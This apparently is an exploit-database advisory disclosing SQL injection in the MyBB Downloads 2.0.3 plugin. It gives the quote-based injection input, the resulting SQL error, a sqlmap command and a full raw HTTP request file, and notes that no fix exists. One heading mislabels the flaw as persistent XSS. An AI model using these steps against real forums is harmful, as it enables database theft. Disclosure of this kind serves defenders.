86 lines
No EOL
2.9 KiB
Text
86 lines
No EOL
2.9 KiB
Text
# Exploit Title: MyBB Downloads 2.0.3 - SQL Injection
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# Date: 28-10-2018
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# Exploit Author: Lucian Ioan Nitescu
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# Contact: https://twitter.com/LucianNitescu
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# Webiste: https://nitesculucian.github.io
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# Vendor Homepage: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
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# Software Link: https://github.com/vintagedaddyo/MyBB_Plugin-Downloads
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# Version: 2.0.3
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# Tested on: Ubuntu 18.04
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1. Description:
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It is a plugin which adds a page to download files. If enabled, regular members can add new downloads to the page after admin approval.
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2. Proof of Concept:
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Persistent XSS
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- Go to downloads.php page
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- Create a New Download
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- Add the following to the title: a"
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- Now on submit, the user will be prompted to an SQL Injection specific error.
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```
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MyBB has experienced an internal SQL error and cannot continue.
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SQL Error:
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1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a""' at line 1
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Query:
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SELECT * FROM mybb_downloads WHERE name="a""
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```
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- THis can be exploited with: sqlmap -r request_file -p name --threads 5
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3. Request File example:
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POST /downloads.php?newdownload=1 HTTP/1.1
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Host: localhost:8081
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User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://localhost:8081/downloads.php?newdownload=1
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Content-Type: multipart/form-data; boundary=---------------------------171894060312075061251712806160
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Content-Length: 1029
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Cookie: mybb[lastvisit]=1540744980; mybb[lastactive]=1540745020; sid=677a58d33fe23e7f2ea3841c79496fcd; loginattempts=1; mybbuser=3_waeMfSMiIRrTpPqW2uy8ZF8AMx8pyRtMCUJ6Gx0yoGRyLBsBow
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Connection: close
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Upgrade-Insecure-Requests: 1
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Cache-Control: max-age=0
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-----------------------------171894060312075061251712806160
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Content-Disposition: form-data; name="my_post_key"
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6cb47e578ed16aa5272c55b0cb8745b4
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-----------------------------171894060312075061251712806160
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Content-Disposition: form-data; name="name"
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a"
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-----------------------------171894060312075061251712806160
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Content-Disposition: form-data; name="shortdesc"
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test
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-----------------------------171894060312075061251712806160
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Content-Disposition: form-data; name="description"
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test
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-----------------------------171894060312075061251712806160
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Content-Disposition: form-data; name="image"
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-----------------------------171894060312075061251712806160
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Content-Disposition: form-data; name="url"
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1
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-----------------------------171894060312075061251712806160
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Content-Disposition: form-data; name="numimages"
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4
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-----------------------------171894060312075061251712806160
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Content-Disposition: form-data; name="submit"
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Publish download
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-----------------------------171894060312075061251712806160--
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3. Solution:
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There is no public available solution. |